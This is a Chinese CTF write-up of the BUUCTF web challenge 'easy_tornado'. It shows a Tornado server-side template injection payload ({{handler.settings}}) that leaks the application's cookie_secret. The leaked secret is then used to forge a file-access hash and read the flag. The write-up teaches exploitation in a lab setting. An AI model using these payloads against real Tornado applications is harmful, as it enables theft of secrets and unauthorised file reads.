首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[护网杯 2018]easy_tornado

[护网杯 2018]easy_tornado

作者头像
熔城Sec
发布2026-07-22 20:42:49
发布2026-07-22 20:42:49
1010
举报

01、题目简介

  • 题目名称:[护网杯 2018]easy_tornado
  • 题目平台:BUUCTF
  • 题目类型:Web

02、解题步骤

启动并访问靶机

先访问一下,看一下这三个文件

代码语言:javascript
复制
flag.txt: flag in /fllllllllllllag
代码语言:javascript
复制
welcome.txt: render
代码语言:javascript
复制
hints.txt: md5(cookie_secret+md5(filename))

从这三个文件里明确了,flag在fllllllllllllag中,结合题目和welcome.txt这里利用了tornado的render参数来渲染模板,hints.txt中表示服务器需要验证一个 token

通过url,我们可以验证一下fllllllllllllag是否能直接读取

代码语言:javascript
复制
/file?filename=/fllllllllllllag&filehash=c2e5b7f0a830ed003e2258f0b8a68a08

发现报错了

那接下来就是搞定filehash值,这时候就需要md5(cookie_secret+md5(filename)),结合题目tornado,tornado是python的一个框架

Tornado 是一个 Python 的异步 Web 框架,自带了一个简单但功能齐全的模板引擎。当开发者使用 render 方法将用户可控的数据直接传递给模板时,如果没有进行充分的过滤或转义,就可能导致服务器端模板注入(SSTI)。攻击者可以插入 Tornado 模板表达式,进而执行任意 Python 代码或读取敏感信息。

这里使用的是SSTI模板注入,这里进行尝试,看看是否能使用模板注入

代码语言:javascript
复制
/error?msg={{2*2}}

因为框架为tornado,存在多个handler,且handler为RequestHandler的子类,RequestHandler.settings指向self.application.settings,所以构造payload直接使得handler指向settings:

代码语言:javascript
复制
/error?msg={{handler.settings}}
代码语言:javascript
复制
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e1f0f3b4-9246-4731-b8c5-7f19e029e370'}

获得cookie_secret,然后进行md5(cookie_secret+md5(filename))

cookie_secret+md5(filename)

然后进行payload构造就行了

代码语言:javascript
复制
/file?filename=/fllllllllllllag&filehash=4c9421c2e76cd6022a28bbe4c3e3e8b0
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-05-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 熔城Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档